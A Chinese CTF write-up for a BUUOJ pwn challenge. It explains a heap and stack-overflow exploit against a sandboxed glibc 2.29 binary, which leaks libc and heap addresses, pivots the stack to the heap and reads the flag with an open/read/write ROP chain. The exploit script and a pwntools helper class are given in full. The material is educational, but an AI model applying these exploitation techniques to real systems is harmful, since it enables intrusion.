0%

buuoj新春红包第三题wp

0x00 check

没得canary考虑stack overflow

还有一个小小的沙箱禁用了execve

考虑用open read write输出flag

0x01 程序逻辑

典型的菜单题目

有四个功能典型的增删改查,但是有一些限制

0x00 get()函数

调用get()函数的次数是有限制的

最多调用0x1c次,而且,get()函数里面用的calloc函数,而不是malloc,这里就有一个点了,calloc是不用tcache bin的,这就导致,你free到tcache的chunk,怎么也calloc不出来,就很难受,还有就是malloc的size也有限制

0x01 change()函数

还有就是只能chenge一次

0x02 backdoor()函数

达成一定的条件,然后有个简单栈溢出,但是只能控制到ret address

0x02 漏洞点

0x00 前言

其实,漏洞点有三个,一开始没看到,导致很难做,但是好像第三个洞有和没有,好像都能做,我的做法也算半个非预期

0x01 free之后指针清0

0x02 stack overflow backdoor函数不再赘述

0x03 chunk list没有初始化导致有残余指针

0x03 思路

  • 首先leak libc和heap address
  • 然后改一个chunk,在stack上写chunk list将其中一个chunk改成0x1000chunk的地址 free掉
  • 之后malloc回来,改成满足backdoor的函数的条件
  • 移stack到heap,然后rop
  • open read write

0x04 exploit

pwnIO.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwnIO import *

io = pwnIO("./red", "chall.pwnable.tw", 10208, "amd64", "2.29", './libc-2.29.so')
io.debug()
#io.remote()
leave_ret=0x000000000003ef85
pop_rdi=0x00000000000219a0
pop_rsi=0x0000000000024395
pop_rdx=0x0000000000001b9a
push_rax=0x000000000001f198
def get(idx, idx2, cont):
io.sl(1)
io.ru('idx: ')
io.sl(idx)
io.ru('0x400): ')
io.sl(idx2)
io.ru('ontent: ')
io.s(cont)
sleep(0.1)

def dele(idx):
io.sl(2)
io.ru('idx: ')
io.sl(idx)

def change(idx, cont):
io.sl(3)
io.ru('idx: ')
io.sl(idx)
io.ru('ent: ')
io.sl(cont)
sleep(0.1)

def show(idx):
io.sl(4)
io.ru('idx: ')
io.sl(idx)

def hack(cont):
io.ru('say?')
io.s(cont)
sleep(0.1)
libc = io.get_libc()
io.attach()
for i in range(2,9):
get(i,2, 'a')
for i in range(2,9):
dele(i)
get(2,2,'a')
get(3,4,'aa')
dele(2)
show(2)
print '------------------'
main_arena = u64(io.r(6).ljust(8, '\x00'))
libc.address = main_arena - 0x3b3ca0
log.success('libc base 0x%x' %(libc.address))
show(6)
heap_address = u64(io.r(6).ljust(8, '\x00')) & ~0xfff
log.success('heap address 0x%x' %(heap_address))
heap_ptr=heap_address-0x1000+0x260
rop=p64(libc.address+pop_rdi)+p64(heap_address+0xe80+0x200)+p64(libc.address+pop_rsi)+p64(0)+p64(libc.sym['open'])
rop+=p64(libc.address+pop_rdi)+p64(3)+p64(libc.address+pop_rsi)+p64(heap_address+0xe80+0x200)+p64(libc.address+pop_rdx)+p64(0x100)+p64(libc.sym['read'])
rop+=p64(libc.address+pop_rdi)+p64(1)+p64(libc.address+pop_rsi)+p64(heap_address+0xe80+0x200)+p64(libc.address+pop_rdx)+p64(0x100)+p64(libc.sym['write'])
get(3,4,rop.ljust(0x200,'\x00')+'/ctf/work/red/flag'+'\x00aaa')
change(1,p64(heap_ptr))
io.b()
dele(4)

get(1,4,'aa')
get(1,4,'\xff'*(0x400-0x30)+p64(0)*4+p64(0x7f0000000001))
sleep(1)
io.sl(666)
hack('a'*0x80+p64(heap_address+0xe80-8)+p64(libc.address+leave_ret))
io.it()

pwnIO.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
libc_version = ["2.19", "2.23", "2.24", "2.28", "2.29"]
linux_arch = {"i386", "amd64"}

class pwnIO():
def __init__(self, filename, ip, port, arch, libcv, libc_path=None):
self.binary_name = filename
self.ip = ip
self.port = port
self.io = None
self.token = ''
assert(arch in linux_arch)
self.arch = arch
self.is_debug = None
context.arch = arch
context.os = 'linux'
assert(libcv in libc_version)
if self.arch == 'i386':
self.ld_path = "/glibc/%s/32/lib/ld-%s.so" % (libcv, libcv)
self.libc_path = "/glibc/%s/32/lib/libc.so.6" % (libcv)
elif self.arch == 'amd64':
self.ld_path = "/glibc/%s/64/lib/ld-%s.so" % (libcv, libcv)
self.libc_path = "/glibc/%s/64/lib/libc.so.6" % (libcv)
if libc_path is not None:
self.libc_path = libc_path

def get_libc(self, libc_name=None, checksec=False):
if libc_name is None:
return ELF(self.libc_path, checksec=checksec)
else:
return ELF(libc_name, checksec=checksec)

def b(self, string=None):
raw_input(string)

def set_token(self, token):
self.token = token
log.info("token: %s" %(token))

def send_token(self):
self.sl(self.token)
log.info("send token: %s" %(token))

def close_io(self):
if self.is_debug:
self.io.kill()
else:
self.io.close()
self.is_debug = None

def debug(self, log_level='debug'):
if self.io is not None:
self.close_io()
self.io = process([self.ld_path, self.binary_name], env={"LD_PRELOAD":self.libc_path})
self.is_debug = True
context.log_level = log_level
context.terminal = ['tmux', 'sp', '-h', '-l', '110']

def remote(self, log_level='info'):
if self.io is not None:
self.close_io()
self.io = remote(self.ip, self.port)
self.is_debug = False
context.log_level = log_level

def s(self, data, timeout=None):
assert(self.io is not None)
if timeout is None:
return self.io.send(str(data))
else:
return self.io.send(str(data), timeout)

def sl(self, data, timeout=None):
assert(self.io is not None)
if timeout is None:
return self.io.sendline(str(data))
else:
return self.io.sendline(str(data), timeout)

def sla(self, delim, data, timeout=None):
assert(self.io is not None)
if timeout is None:
return self.io.sendlineafter(delim, str(data))
else:
return self.io.sendlineafter(delim, str(data), timeout)

def r(self, numb=None, timeout=None):
assert(self.io is not None)
if numb is None:
return self.io.recv()
elif timeout is None:
return self.io.recv(numb)
else:
return self.io.recv(numb, timeout)

def ru(self, delims, drop=True, timeout=None):
assert(self.io is not None)
if timeout is None:
return self.io.recvuntil(delims, drop)
else:
return self.io.recvuntil(delims, drop, timeout)

def ra(self, timeout=None):
assert(self.io is not None)
return self.io.recvall(timeout)

def it(self, prompt=None):
assert(self.io is not None)
if prompt is None:
return self.io.interactive()
else:
return self.io.interactive(prompt)

def attach(self, gdbscript=None):
if not self.is_debug:
log.failure("remoting")
return None
if gdbscript is None:
return gdb.attach(self.io)
else:
return gdb.attach(self.io, gdbscript)